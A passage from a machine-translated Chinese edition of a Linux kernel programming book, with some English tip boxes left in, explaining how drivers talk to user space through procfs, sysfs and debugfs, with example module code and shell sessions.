再来一个快速演示:让我们将`debug_level`设置为`1`,然后转储驱动程序上下文结构(通过我们创建的第三个 procfs 文件): - -```sh -$ cat /proc/procfs_simple_intf/llkdproc_debug_level -debug_level:0 -$ sudo sh -c "echo 1 > /proc/procfs_simple_intf/llkdproc_debug_level" -``` - -9. 好了,`debug_level`变量现在将有一个值`1`;现在,让我们转储驱动程序上下文结构: - -```sh -$ cat /proc/procfs_simple_intf/llkdproc_show_drvctx -cat: /proc/procfs_simple_intf/llkdproc_show_drvctx: Permission denied -$ sudo cat /proc/procfs_simple_intf/llkdproc_show_drvctx -prodname:procfs_simple_intf -tx:0,rx:0,err:0,myword:0,power:1 -config1:0x1,config2:0x48524a5f,config3:0x424c0a52 -oursecret:AhA xxx -$ -``` - -我们需要 *root* 权限才能做到这一点。一旦完成,我们可以清楚地看到我们的`drv_ctx`数据结构的所有成员。不仅如此,我们还验证了粗体突出显示的`config1`成员现在的值为`1`,从而反映了设计的“调试级别”。 - -此外,请注意输出是如何以高度可解析的格式(几乎类似于 JSON)故意生成到用户空间的。当然,作为一个小练习,你可以安排去做! - -A large number of recent **Internet of Things** (**IoT**) products use RESTful APIs to communicate; the format that's parsed is typically JSON. Getting in the habit of designing and implementing your kernel-to-user (and vice versa) communication in easily parsable formats (such as JSON) is only going to help. - -至此,您已经了解了如何创建一个 procfs 目录,以及其中的一个文件,最重要的是,如何创建和使用读写回调函数,以便当用户模式进程读取或写入您的 proc 文件时,您可以从内核深处做出适当的响应。正如我们前面提到的,由于空间不足,我们将不描述驱动我们已经创建和使用的其余三个 procfs 文件的代码。这在概念上与我们刚刚介绍的内容非常相似。我们希望您通读并试用! - -## 一些杂项生产程序 - -让我们通过查看一些剩余的杂项 procfs APIs 来结束这一部分。您可以使用`proc_symlink()`功能在`/proc`内创建符号链接或软链接。 - -接下来`proc_create_single_data()` API 可以非常有用;它被用作一种“快捷方式”,您只需要将一个“读取”方法附加到 procfs 文件: - -```sh -struct proc_dir_entry *proc_create_single_data(const char *name, umode_t mode, struct - proc_dir_entry *parent, int (*show)(struct seq_file *, void *), void *data); -``` - -因此,使用这个应用编程接口消除了对单独的 fops 数据结构的需要。我们可以使用这个函数来创建和处理我们的第二个 procfs 文件——文件`llkdproc_show_pgoff`: - -```sh -... proc_create_single_data(PROC_FILE2, PROC_FILE2_PERMS, gprocdir, proc_show_pgoff, 0) ... -``` - -当从用户空间读取时,内核的 VFS 和 proc 层代码路径将调用注册的方法——我们模块的`proc_show_pgoff()`函数——在该方法中,我们简单地调用`seq_printf()`将`PAGE_OFFSET`的值发送到用户空间: - -```sh -seq_printf(seq, "%s:PAGE_OFFSET:0x%px\n", OURMODNAME, PAGE_OFFSET); -``` - -此外,请注意以下关于`proc_create_single_data`原料药的信息: - -* 您可以使用第五个参数`proc_create_single_data()`将任何数据项传递给 read 回调(在那里作为名为`private`的`seq_file`成员检索,非常类似于我们在上一章中使用`filp->private_data`的方式)。 -* 内核主线中的几个典型的老驱动程序确实利用了这个函数来创建它们的 procfs 接口。其中有 RTC 驱动程序(在`/proc/driver/rtc`设置一个入口)。SCSI `megaraid`驱动程序(`drivers/scsi/megaraid`)使用该例程至少 10 次,以设置其 proc 接口(当配置选项被启用时;它是默认的)。 - -Be careful! I find that on an Ubuntu 18.04 LTS system running the distro (default) kernel, this API – `proc_create_single_data()` – isn't even available, so the build fails. On our custom "vanilla" 5.4 LTS kernel, it works just fine. - -此外,还有一些关于我们在这里设置的 procfs API 的文档,尽管这往往是为了内部使用,而不是为了模块:[https://www . kernel . org/doc/html/latest/file systems/API-summary . html # the-proc-file system](https://www.kernel.org/doc/html/latest/filesystems/api-summary.html#the-proc-filesystem)。 - -所以,正如我们之前提到的,使用 procfs APIs,这是一个**您的里程可能会变化的情况** ( **YMMV** )!发布前仔细测试您的代码。最好遵循内核社区指南,简单地对 procfs 说**不**作为驱动接口技术。别担心——我们会在这一章中看到更好的! - -这就完成了我们对使用 procfs 作为有用的通信接口的介绍。现在,让我们学习如何为驱动程序使用一个更合适的接口 sysfs 接口。 - -# 通过系统文件系统(sysfs)接口 - -2.6 Linux 内核版本的一个关键特征是所谓的现代*设备模型*的出现。本质上,一系列复杂的树状分层数据结构对系统中的所有设备进行建模。实际上,它远不止于此;**系统树包含以下内容(除其他外):** - -* 系统上的每条总线(也可以是虚拟或伪总线) -* 每条总线上的每台设备 -* 总线上绑定到设备的每个设备驱动程序 - -因此,在运行时创建并由设备模型维护的不仅仅是外围设备,还有底层系统总线、每条总线上的设备以及绑定或将要绑定到设备的设备驱动程序。作为一个典型的司机作者,你看不到这个模型的内部工作原理;你真的不用担心。在系统启动时,每当新设备变得可见时,*驱动核心*(内置内核机器的一部分)就会在 sysfs 树下生成所需的虚拟文件。(相反,当设备被移除或分离时,其条目会从树中消失。) - -然而,回想一下*与 proc 文件系统*的接口部分,使用 procf 作为设备驱动程序的接口并不是真正正确的方法,至少对于想要向上游移动的代码来说是这样。那么,*的正确做法是什么?啊,*创建 sysfs(伪)文件被认为是设备驱动程序与用户空间交互的“正确方式”。** - - *所以,现在我们看到了!sysfs 是一个虚拟文件系统,通常安装在`/sys`目录下。实际上,sysfs 与 procfs 非常相似,是发送到用户空间的内核导出的信息树(设备和其他)。您可以认为 sysfs 在现代设备模型中具有不同的*视口*。通过 sysfs,您可以通过几种不同的方式或不同的“视口”查看系统;例如,您可以通过它支持的各种总线查看系统(T4 总线视图–PCI、USB、平台、I2C、SPI 等),通过各种“类”设备(T6 类视图),通过*设备*本身,通过*块*设备视口,等等。下面的截图显示了我的 Ubuntu 18.04 LTS 虚拟机上`/sys`的内容,显示了这种情况: - -![](img/bf6846b2-8f7a-47e3-98a2-be5528a87f22.png) - -Figure 2.2 – Screenshot showing the content of sysfs (/sys) on an x86_64 Ubuntu VM - -正如我们所看到的,使用 sysfs,您还可以使用其他几个视窗来查看系统。当然,在本节中,我们希望了解如何通过 sysfs 将设备驱动程序连接到用户空间,如何编写代码在 sysfs 下创建我们的驱动程序(伪)文件,以及如何注册来自它们的读/写回调。让我们从基本的 sysfs APIs 开始。 - -## 在代码中创建 sysfs(伪)文件 - -在 sysfs 下创建伪(或虚拟)文件的一种方法是通过`device_create_file()`应用编程接口。其签名如下: - -```sh -drivers/base/core.c:int device_create_file(struct device *dev, - const struct device_attribute *attr); -``` - -让我们逐一考虑它的两个参数;首先,有一个指向`struct device`的指针。第二个参数是指向设备属性结构的指针;稍后我们将对此进行解释和处理(在*中设置设备属性并创建 sysfs 文件*部分)。现在,让我们只关注第一个参数——器件结构。这似乎很直观——一个设备由一个名为`device`的元数据结构表示(它是驱动核心的一部分;你可以在`include/linux/device.h`标题中找到它的完整定义。 - -请注意,当您编写(或处理)一个“真实的”设备驱动程序时,很有可能会存在或形成一个通用的*设备结构*。这通常发生在*注册*设备时;底层设备结构通常可用作该设备的专用结构的成员。例如,所有结构,如`platform_device`、`pci_device`、`net_device`、`usb_device`、`i2c_client`、`serial_port`等,都有一个`struct device`构件嵌入其中。因此,您可以使用该设备结构指针作为 API 的参数,以便在 sysfs 下创建文件。请放心,您很快就会看到这是用代码完成的!因此,让我们通过创建一个简单的“平台设备”来获得一个设备结构。在下一节中,您将学习如何做到这一点! - -## 创建简单的平台设备 - -显然,为了在 sysfs 下创建一个(伪)文件,我们需要一个指向`struct device`的指针作为`device_create_file()`的第一个参数。然而,对于我们此时此地的演示 sysfs 驱动程序,我们实际上没有任何真正的设备,因此没有`struct device`可以工作! - -那么,难道我们不能创造一个*人造*或者*伪装置*并简单地使用它吗?是的,但是如何做,更关键的是,我们为什么要这样做?理解现代的 **Linux 设备模型** ( **LDM** )是建立在三个关键组件之上的非常关键:**必须存在一个设备所依赖的底层总线,并且设备被设备驱动程序**所“绑定”和驱动。(我们已经在[第 1 章](1.html)、*编写简单的杂项字符设备驱动程序*、在*Linux 设备型号快速说明*部分提到过这一点)。 - -所有这些都必须注册到驱动核心。现在,不用担心公共汽车和驾驶它们的公共汽车司机;它们将由内核的驱动核心子系统在内部注册和处理。然而,当没有真正的*设备*时,我们将不得不创建一个伪设备来处理模型。同样,做这样的事情有几种方法,但是我们将创建**一个***T5】平台设备。*该设备将“活”在一条被称为 ***平台总线**的伪总线(即只存在于软件中)上。* - -### 平台设备 - -快速但重要的一点是:*平台设备*通常用于表示嵌入式板内的**片上系统** ( **SoC** )上的各种设备。SoC 通常是一种非常复杂的芯片,它将各种组件集成到硅中。除了处理单元(中央处理器/图形处理器)之外,它还可以容纳多个外围设备,包括以太网媒体访问控制、通用串行总线、多媒体、串行通用异步收发器、时钟、I2C、串行接口、闪存芯片控制器等。我们需要将这些组件枚举为平台设备的一个原因是,SoC 内部没有物理总线;因此,使用平台总线。 - -Traditionally, the code that was used to instantiate these SoC platform devices was kept in a "board" file (or files) within the kernel source (`arch//...`). Due to it becoming overloaded, it's been moved outside the pure kernel source into a useful hardware description format called the **Device Tree** (within **Device Tree Source** (**DTS**) files that are themselves with the kernel source tree). - -在我们的 Ubuntu 18.04 LTS 来宾虚拟机上,让我们看看 sysfs 下的平台设备: - -```sh -$ ls /sys/devices/platform/ -alarmtimer 'Fixed MDIO bus.0' intel_pmc_core.0 platform-framebuffer.0 reg-dummy -serial8250 eisa.0 i8042 pcspkr power rtc_cmos uevent -$ -``` - -The *Bootlin* website (previously called *Free Electrons*) offers superb materials on embedded Linux, drivers, and so on. This link on their site leads to excellent material on the LDM: [https://bootlin.com/pub/conferences/2019/elce/opdenacker-kernel-programming-device-model/](https://bootlin.com/pub/conferences/2019/elce/opdenacker-kernel-programming-device-model/). - -回到驱动程序:我们通过`platform_device_register_simple()` API 将我们的(人工)平台设备注册到(已经存在的)平台总线驱动程序中,从而使其存在。当我们这样做的时候,驱动核心将*生成*所需的 sysfs 目录和一些样板 sysfs 条目(或文件)。这里,在 sysfs 演示驱动程序的初始化代码中,我们将通过向驱动程序核心注册来设置一个(尽可能简单的)*平台设备*: - -```sh -// ch2/sysfs_simple_intf/sysfs_simple_intf.c -include -static struct platform_device *sysfs_demo_platdev; -[...] -#define PLAT_NAME "llkd_sysfs_simple_intf_device" -sysfs_demo_platdev = - platform_device_register_simple(PLAT_NAME, -1, NULL, 0); -[...] -``` - -`platform_device_register_simple()`应用编程接口返回一个指向`struct platform_device`的指针。这个组织的成员之一是`struct device dev`。我们现在有了我们一直在追求的:一个*装置* *结构*。另外,需要注意的是,当这个注册 API 运行时,效果在 sysfs *中是可见的。*您可以很容易地看到新的平台设备,加上几个样板 sysfs 对象,正在由驱动核心在这里创建(通过 sysfs 对我们可见);让我们构建并 *insmod* 我们的内核模块来看看这个: - -```sh -$ cd <...>/ch2/sysfs_simple_intf -$ make && sudo insmod ./sysfs_simple_intf.ko -[...] -$ ls -l /sys/devices/platform/llkd_sysfs_simple_intf_device/ -total 0 --rw-r--r-- 1 root root 4.0K Feb 15 20:22 driver_override --rw-r--r-- 1 root root 4.0K Feb 15 20:22 llkdsysfs_debug_level --r--r--r-- 1 root root 4.0K Feb 15 20:22 llkdsysfs_pgoff --r--r--r-- 1 root root 4.0K Feb 15 20:22 llkdsysfs_pressure --r--r--r-- 1 root root 4.0K Feb 15 20:22 modalias -drwxr-xr-x 2 root root 0 Feb 15 20:22 power/ -lrwxrwxrwx 1 root root 0 Feb 15 20:22 subsystem -> ../../../bus/platform/ --rw-r--r-- 1 root root 4.0K Feb 15 20:21 uevent -$ -``` - -我们可以用不同的方式创造一个`struct device`;通用的方式是设置并发布`device_create()` API。创建 sysfs 文件的另一种方法是创建一个“对象”并调用`sysfs_create_file()`应用编程接口,同时不需要设备结构。(使用这两种方法的教程链接可以在*进一步阅读*部分找到)。这里,我们更喜欢使用“平台设备”,因为它是编写(平台)驱动程序的更接近的方法。 - -还有另一种有效的方法。正如我们在[第 1 章](1.html)、*编写简单的杂项字符设备驱动程序*中看到的,我们构建了一个符合内核`misc`框架的简单字符驱动程序。在那里,我们实例化了一个`struct miscdevice`;一旦注册(通过`misc_register()` API),这个结构将包含一个名为`struct device *this_device;`的成员,从而允许我们将其用作有效的设备指针!因此,我们可以简单地扩展我们早期的`misc`设备驱动程序,并在这里使用它。然而,为了了解一些关于平台驱动程序的知识,我们选择了这种方法。(我们将扩展早期`misc`设备驱动程序的方法留给您,以便它可以使用 sysfs APIs 并创建/使用 sysfs 文件作为练习)。 - -回到我们的驱动程序,与初始化代码相比,在*清理*代码中,我们必须取消注册我们的平台设备: - -```sh -platform_device_unregister(sysfs_demo_platdev); -``` - -现在,让我们将所有这些知识联系在一起,实际看看生成 sysfs 文件的代码,以及它们的读写回调函数! - -## 将它们结合在一起—设置设备属性并创建 sysfs 文件 - -正如我们在本节开始时提到的,我们将使用`device_create_file()`应用编程接口来创建 sysfs 文件: - -```sh -int device_create_file(struct device *dev, const struct device_attribute *attr); -``` - -在前一节中,您学习了我们如何获取设备结构(我们的应用编程接口的第一个参数)。现在,让我们弄清楚如何初始化和使用第二个参数;也就是`device_attribute`结构。结构本身定义如下: - -```sh -// include/linux/device.hstruct device_attribute { - struct attribute attr; - ssize_t (*show)(struct device *dev, struct device_attribute *attr, - char *buf); - ssize_t (*store)(struct device *dev, struct device_attribute *attr, - const char *buf, size_t count); -}; -``` - -第一个成员`attr`主要由 sysfs 文件的*名称*及其*模式*(权限位掩码)组成。另外两个成员是函数指针(“虚函数”),类似于**文件操作**或 **fops** 结构中的函数指针: - -* `show`:代表*读取回调*功能 -* `store`:代表*写回调*功能 - -我们的工作是初始化这个`device_attribute`结构,从而建立 sysfs 文件。虽然您总是可以手动初始化它,但有一种更简单的方法:内核提供(几个)宏来初始化`struct device_attribute`;其中有`DEVICE_ATTR()`宏: - -```sh -// include/linux/device.h -define DEVICE_ATTR(_name, _mode, _show, _store) \ - struct device_attribute dev_attr_##_name = __ATTR(_name, _mode, _show, _store) -``` - -请注意`dev_attr_##_name`执行的“字符串化”,确保结构的名称以作为第一个参数传递给`DEVICE_ATTR`的名称作为后缀。此外,名为`__ATTR()`的实际“工作者”宏实际上在预处理时在代码中实例化了一个`device_attribute`结构,该结构的名称变成了`dev_attr_`: - -```sh -// include/linux/sysfs.h -#define __ATTR(_name, _mode, _show, _store) { \ - .attr = {.name = __stringify(_name), \ - .mode = VERIFY_OCTAL_PERMISSIONS(_mode) }, \ - .show = _show, \ - .store = _store, \ -} -``` - -此外,内核在这些宏上定义了额外的简单包装宏,以便指定*模式*(sysfs 文件的权限),从而使您这个驱动程序作者更加简单。其中有`DEVICE_ATTR_RW(_name)`、`DEVICE_ATTR_RO(_name)`、`DEVICE_ATTR_WO(_name)`: - -```sh -#define DEVICE_ATTR_RW(_name) \ - struct device_attribute dev_attr_##_name = __ATTR_RW(_name) -#define __ATTR_RW(_name) __ATTR(_name, 0644, _name##_show, _name##_store) -``` - -有了这个代码,我们可以创建一个**读写**(**RW**)**只读** ( **RO** )或者**只写** ( **WO** ) sysfs 文件。现在,我们希望建立一个可以读写的 sysfs 文件。在内部,这是一个“钩子”或回调,供我们查询或设置`debug_level`全局变量,就像我们之前在 procfs 上的示例内核模块中所做的那样! - -既然我们有了足够的背景,就让我们深入研究一下代码吧! - -### 实现 sysfs 文件及其回调的代码 - -让我们看看简单的 *sysfs 接口驱动程序*的相关代码部分,一步一步地尝试一下: - -1. 设置设备属性结构(通过`DEVICE_ATTR_RW`宏;有关更多信息,请参见前面的部分)并创建我们的第一个 sysfs(伪)文件: - -```sh -// ch2/sysfs_simple_intf/sysfs_simple_intf.c -#define SYSFS_FILE1 llkdsysfs_debug_level -// [... ** ...] -static DEVICE_ATTR_RW(SYSFS_FILE1); - -int __init sysfs_simple_intf_init(void) -{ - [...] -*/* << 0\. The platform device is created via the platform_device_register_simple() API; code already shown above ... >> */* - - // 1\. Create our first sysfile file : llkdsysfs_debug_level - /* The device_create_file() API creates a sysfs attribute file for - * given device (1st parameter); the second parameter is the pointer - * to it's struct device_attribute structure dev_attr_ which was - * instantiated by our DEV_ATTR{_RW|RO} macros above ... */ - stat = device_create_file(&sysfs_demo_platdev->dev, &dev_attr_SYSFS_FILE1); -[...] -``` - -从这里显示的宏的定义中,我们可以推断出`static DEVICE_ATTR_RW(SYSFS_FILE1);`实例化了一个名为`llkdsysfs_debug_level`的初始化的`device_attribute`结构(因为`SYSFS_FILE1`宏就是这样评估的)和一个`0644`模式;读取回调名为`llkdsysfs_debug_level_show()`,写入回调名为`llkdsysfs_debug_level_store()`! - -2. 下面是读写回调的相关代码(同样,我们不会在这里显示全部代码)。首先,让我们看看 read 回调: - -```sh -/* debug_level: sysfs entry point for the 'show' (read) callback */ -static ssize_t llkdsysfs_debug_level_show(struct device *dev, - struct device_attribute *attr, - char *buf) -{ - int n; - if (mutex_lock_interruptible(&mtx)) - return -ERESTARTSYS; - pr_debug("In the 'show' method: name: %s, debug_level=%d\n", - dev->kobj.name, debug_level); - n = snprintf(buf, 25, "%d\n", debug_level); - mutex_unlock(&mtx); - return n; -} -``` - -这是如何工作的?在读取我们的 sysfs 文件时,调用前面的回调函数。在其中,简单地写入用户提供的缓冲区指针,`buf`(它的第三个参数;我们使用内核`snprintf()` API 这样做),具有将*(【这里是 T4】、`debug_level`)提供的值转移到用户空间的效果!* - -3. 让我们构建并`insmod(8)`内核模块(为了方便起见,我们将使用我们的`lkm`包装脚本来实现): - -```sh -$ ../../lkm sysfs_simple_intf // <-- build and insmod it[...] -[83907.192247] sysfs_simple_intf:sysfs_simple_intf_init():237: sysfs file [1] (/sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level) created -[83907.197279] sysfs_simple_intf:sysfs_simple_intf_init():250: sysfs file [2] (/sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_pgoff) created -[83907.201959] sysfs_simple_intf:sysfs_simple_intf_init():264: sysfs file [3] (/sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_pressure) created -[83907.205888] sysfs_simple_intf initialized -$ -``` - -4. 现在,让我们列出并读取与调试级别相关的 sysfs 文件: - -```sh -$ ls -l /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level --rw-r--r-- 1 root root 4096 Feb 4 17:41 /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level -$ cat /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level -0 -``` - -这反映了调试级别目前为`0`的事实。 - -5. 现在,让我们来看一下调试级 sysfs 文件的*写回调*的代码: - -```sh -#define DEBUG_LEVEL_MIN 0 -#define DEBUG_LEVEL_MAX 2 - -static ssize_t llkdsysfs_debug_level_store(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t count) -{ - int ret = (int)count, prev_dbglevel; - if (mutex_lock_interruptible(&mtx)) - return -ERESTARTSYS; - - prev_dbglevel = debug_level; - pr_debug("In the 'store' method:\ncount=%zu, buf=0x%px count=%zu\n" - "Buffer contents: \"%.*s\"\n", count, buf, count, (int)count, buf); - if (count == 0 || count > 12) { - ret = -EINVAL; - goto out; - } - - ret = kstrtoint(buf, 0, &debug_level); /* update it! */ - *// < ... validity checks ... >* - ret = count; - out: - mutex_unlock(&mtx); - return ret; -} -``` - -同样,应该清楚的是`kstrtoint()`内核 API 用于将用户空间`buf`字符串转换为整数值,然后我们进行验证。还有,`kstrtoint`的第三个参数是要写入的整数,因此要更新! - -6. 现在,让我们尝试从 sysfs 文件更新`debug_level`的值: - -```sh -$ sudo sh -c "echo 2 > /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level" -$ cat /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_debug_level -2 -$ -``` - -瞧,成功了! - -7. 正如我们在与 procfs 接口时所做的那样,我们在 sysfs 代码示例中提供了更多的代码。在这里,我们有另一个(只读)sysfs 界面来显示`PAGE_OFFSET`的值,外加一个新的。想象一下,这个司机的工作是获取一个“压力”值(也许是通过 I2C 驱动的压力传感器芯片)。让我们假设我们已经这样做了,并将这个压力值存储在一个名为`gpressure`的整数全局变量中。要“显示”用户空间的当前压力值,我们必须使用 sysfs 文件。这是: - -Internally, for the purpose of this demo, we have randomly set the `gpressure` global variable to a value of `25`. - -```sh -$ cat /sys/devices/platform/llkd_sysfs_simple_intf_device/llkdsysfs_pressure -25$ -``` - -仔细看输出;`25`后为什么立即出现提示?因为我们只是按原样打印了值——没有换行符,什么都没有;这是人们所期待的。显示“压力”值的代码确实很简单: - -```sh -/* show 'pressure' value: sysfs entry point for the 'show' (read) callback */ -static ssize_t llkdsysfs_pressure_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - int n; - if (mutex_lock_interruptible(&mtx)) - return -ERESTARTSYS; - pr_debug("In the 'show' method: pressure=%u\n", gpressure); - n = snprintf(buf, 25, "%u", gpressure); - mutex_unlock(&mtx); - return n; -} -/* The DEVICE_ATTR{_RW|RO|WO}() macro instantiates a struct device_attribute dev_attr_ here... */ -static DEVICE_ATTR_RO(llkdsysfs_pressure); -``` - -至此,您已经学会了如何通过 sysfs 与用户空间进行交互!像往常一样,我敦促您实际编写代码,并亲自尝试这些技能;看一下本章末尾的*问题*部分,自己尝试一下(相关的)作业。现在,让我们继续 sysfs,了解一个关于其 ABI 的重要*规则*。 - -## “每个 sysfs 文件一个值”规则 - -到目前为止,您已经理解了如何为用户空间内核接口目的创建和使用 sysfs,但是有一个关键点我们一直忽略。有一个关于使用 sysfs 文件的“规则”,它规定你只能读写一个值!将此视为*每个文件一个值*规则。 - -因此,就像我们使用“压力”值的例子一样,我们只返回压力的当前值,仅此而已。因此,与其他接口技术不同,sysfs 不太适合那些您可能想要向用户空间返回任意冗长的信息包(比如,驱动程序上下文结构的内容)的情况;换句话说,它不适合纯粹的“调试”目的。 - -The kernel documents and "rules" regarding the usage of sysfs can be found here: [https://www.kernel.org/doc/html/latest/admin-guide/sysfs-rules.html#rules-on-how-to-access-information-in-sysfs](https://www.kernel.org/doc/html/latest/admin-guide/sysfs-rules.html#rules-on-how-to-access-information-in-sysfs). - -此外,这里还有 sysfs API 的文档:[https://www . kernel . org/doc/html/latest/file systems/API-summary . html #用于导出内核对象的文件系统](https://www.kernel.org/doc/html/latest/filesystems/api-summary.html#the-filesystem-for-exporting-kernel-objects)。 - -内核通常提供几种不同的方法来创建 sysfs 对象;例如,使用`sysfs_create_files()` API,可以一次创建多个 sysfs 文件:`int __must_check sysfs_create_files(struct kobject *kobj, const struct attribute * const *attr);`。这里,您需要提供一个指向`kobject`的指针和一个指向属性结构列表的指针。 - -我们对 sysfs 作为接口技术的讨论到此结束;总之,sysfs 确实被认为是驱动程序作者在用户空间显示和/或设置特定驱动程序值的正确方式。由于“每个 sysfs 文件一个值”的约定,sysfs 确实不太适合调试信息分配。这巧妙地将我们带到了下一个话题——首次亮相! - -# 通过调试文件系统(debugfs)接口 - -想象一下,作为一名驱动程序开发人员,你在 Linux 上面临的困境:你想要实现一种简单而优雅的方式来提供从驱动程序到用户空间的调试“钩子”。例如,用户简单地对一个(伪)文件执行`cat(1)`会导致你的驱动程序的“调试回调”函数被调用。然后,它将继续向用户模式进程转储一些状态信息(可能是“驱动程序上下文”结构),用户模式进程将忠实地将其转储到 stdout。 - -好的,没问题:在 2.6 版本发布之前的几天里,我们可以(正如您在*通过 proc 文件系统(procfs)* 进行接口)愉快地使用 procfs 层将我们的驱动程序与用户空间进行接口。然后,从 2.6 Linux 开始,内核社区否决了这种方法。我们被告知严格停止使用 procfs,而是使用 sysfs 层作为驱动程序与用户空间接口的手段。然而,正如我们在*通过 sys 文件系统(sysfs)* 与 *接口部分看到的,它有一个严格的*每个文件一个值*规则。这对于向驱动程序报告单个值或向驱动程序发送单个值(通常是环境传感器值等)来说非常有用,但是很快就排除了除了最琐碎的调试接口之外的所有接口。我们可以使用 ioctl 方法(正如我们将看到的)来设置一个调试接口,但是这样做要困难得多。* - -那么,你能做什么?幸运的是,从 2.6.12 Linux 开始,有一个优雅的解决方案叫做 debugfs。“调试文件系统”非常容易使用,并且在传达驱动程序作者(事实上,任何人)可以为他们选择的任何目的使用它的事实时非常明确!没有每文件一个值的规则——忘了吧,没有规则。 - -当然,就像我们处理过的其他基于文件系统的方法一样——procfs、sysfs 和现在的 debugfs——内核社区明确声称所有这些接口都是 ABI,因此,它们的稳定性和寿命是*而不是*保证的。虽然这是采用的正式立场,但现实是这些接口已经成为现实世界中事实上的接口;在一个晴朗的日子里,不加掩饰地把它们剥掉,对任何人都没有好处。 - -下面的截图显示了我们的 x86-64 Ubuntu 18.04.3 LTS 来宾上的 debugfs 的内容(运行我们在配套书籍*中构建的“自定义”5.4.0 内核 Linux 内核 Programmin* g、*第 3 章*、*从源代码构建 5.0 Linux 内核,第 2 部分*!): - -![](img/d01e778c-ea1a-4934-8283-30d35557238d.png) - -Figure 2.3 – Screenshot revealing the content of the debugfs filesystem on an x86_64 Linux VM - -与 procfs 和 sysfs 一样,由于 debugfs 是一个内核特性(毕竟它是一个虚拟文件系统!),其中的精确内容高度依赖于内核版本和 CPU 架构。正如我们之前提到的,通过查看这个截图,现在应该很明显,有很多真实世界的 debugfs“用户”。 - -## 检查 debugfs 的存在 - -首先,为了使用强大的*调试*界面,必须在内核配置中启用它。相关的 Kconfig 宏为`CONFIG_DEBUG_FS`。让我们检查一下它是否在我们的 5.4 定制内核上启用: - -Here, we are assuming you have the `CONFIG_IKCONFIG` and `CONFIG_IKCONFIG_PROC` options set to `y`, thus allowing us to use the `/proc/config.gz` pseudo file to access the current kernel's configuration. - -```sh -$ zcat /proc/config.gz | grep -w CONFIG_DEBUG_FS -CONFIG_DEBUG_FS=y -``` - -的确如此;它通常在发行版中默认启用。 - -接下来,debugfs 的默认挂载点是`/sys/kernel/debug`。因此,我们可以看到它在内部依赖于 sysfs 内核特性的存在和装载,这是默认的。让我们检查一下 debugfs 在我们的 Ubuntu 18.04 x86_64 虚拟机上的安装位置: - -```sh -$ mount | grep -w debugfs -debugfs on /sys/kernel/debug type debugfs (rw,relatime) -``` - -它可用并安装在预期位置;也就是`/sys/kernel/debug`。 - -Of course, it's always a best practice to never assume that this will always be the location where it's mounted; in your script or user mode C program, take the trouble to check and verify it. In fact, allow me to rephrase this: *it's always a good practice to never assume anything; making assumptions is a really good source of bugs*. - -顺便说一下,一个有趣的 Linux 特性是文件系统可以安装在不同的位置,甚至多个位置;还有,有些人更喜欢创建一个符号链接到`/sys/kernel/debug`作为`/debug`;这取决于你,真的。 - -像往常一样,我们在这里的意图是在 debugfs 保护伞下创建我们的(伪)文件,然后注册并利用来自它们的读/写回调,目的是将我们的驱动程序与用户空间接口。为此,我们需要了解 debugfs API 的基本用法。我们将在下一节中向您介绍这方面的文档。 - -## 查找调试应用编程接口文档 - -内核在这里提供了关于使用 debugfs API 的简洁而优秀的文档(由 LWN Jonathan Corbet 提供):https://www . kernel . org/doc/Documentation/file systems/debugfs . txt(当然,您也可以直接在内核代码库中查找)。 - -我敦促您参考这个文档来学习如何使用 debugfs APIs,因为它很容易阅读和理解;这样,您可以避免不必要地在这里重复相同的信息。除了前面提到的文档之外,现代内核文档系统(基于“狮身人面像”的系统)也提供了相当详细的 debugfs API 页面:[https://www . kernel . org/doc/html/latest/file systems/API-summary . html?highlight = debugfs # the-debugfs-file system](https://www.kernel.org/doc/html/latest/filesystems/api-summary.html?highlight=debugfs#the-debugfs-filesystem)。 - -Note that all debugfs APIs are exported as GPL-only to kernel modules (thus necessitating the module being released under the "GPL" license (this can be dual licensed, but one must be "GPL")). - -## 与 debugfs 的接口示例 - -Debugfs 被刻意设计成“没有特定规则”的心态,这使得它成为使用*进行调试的理想界面*。为什么呢?它允许你构建任意字节流并将其发送到用户空间,包括带有`debugfs_create_blob()`应用编程接口的二进制“blob”。 - -我们前面的示例内核模块使用 procfs 和 sysfs 构建并使用了三到四个(伪)文件。对于 debugfs 的快速演示,我们将只关注两个“文件”: - -* `llkd_dbgfs_show_drvctx`:你肯定猜到了,读的时候会导致我们(现在已经很熟悉的)“驱动上下文”数据结构的当前内容被转储到控制台;我们将确保伪文件的模式是只读的(按根)。 -* `llkd_dbgfs_debug_level`:该文件的模式应为读写(仅限根用户);读取时会显示`debug_level`的当前值;当一个整数被写入其中时,我们将把内核模块中`debug_level`的值更新为传递的值。 - -这里,在我们内核模块的初始化代码中,我们将首先在`debugfs`下创建一个目录: - -```sh -// ch2/debugfs_simple_intf/debugfs_simple_intf.c - -static struct dentry *gparent; -[...] -static int debugfs_simple_intf_init(void) -{ - int stat = 0; - struct dentry *file1, *file2; - [...] - gparent = debugfs_create_dir(OURMODNAME, NULL); -``` - -现在我们有了一个起点——一个目录——让我们继续前进,并在它下面创建 debugfs(伪)文件。 - -### 创建和使用第一个 debugfs 文件 - -For readability and to save space, we won't show the error handling code sections here. - -就像在 procfs 的例子中一样,我们必须分配和初始化我们的“驱动程序上下文”数据结构的一个实例(我们没有在这里显示代码,因为它是重复的,所以请参考 GitHub 源代码)。 - -然后,通过通用的`debugfs_create_file()`应用编程接口,我们必须创建一个`debugfs`文件,将其与一个`file_operations`结构相关联。这实际上只是注册了一个 read 回调: - -```sh -static const struct file_operations dbgfs_drvctx_fops = { - .read = dbgfs_show_drvctx, -}; -[...] -*// < ... init function ... >* - /* Generic debugfs file + passing a pointer to a data structure as a - * demo.. the 4th param is a generic void * ptr; it's contents will be - * stored into the i_private field of the file's inode. - */ -#define DBGFS_FILE1 "llkd_dbgfs_show_drvctx" - file1 = debugfs_create_file(DBGFS_FILE1, 0440, gparent, - (void *)gdrvctx, &dbgfs_drvctx_fops); - [...] -``` - -From 5.8 Linux onward (recall that we're working with the 5.4 LTS kernel), the return value of several of the debugfs creation APIs have been removed (they will return `void`); Greg Kroah-Hartman's patch mentions that this was done as no one was using them. This is quite typical of Linux – unneeded features are stripped 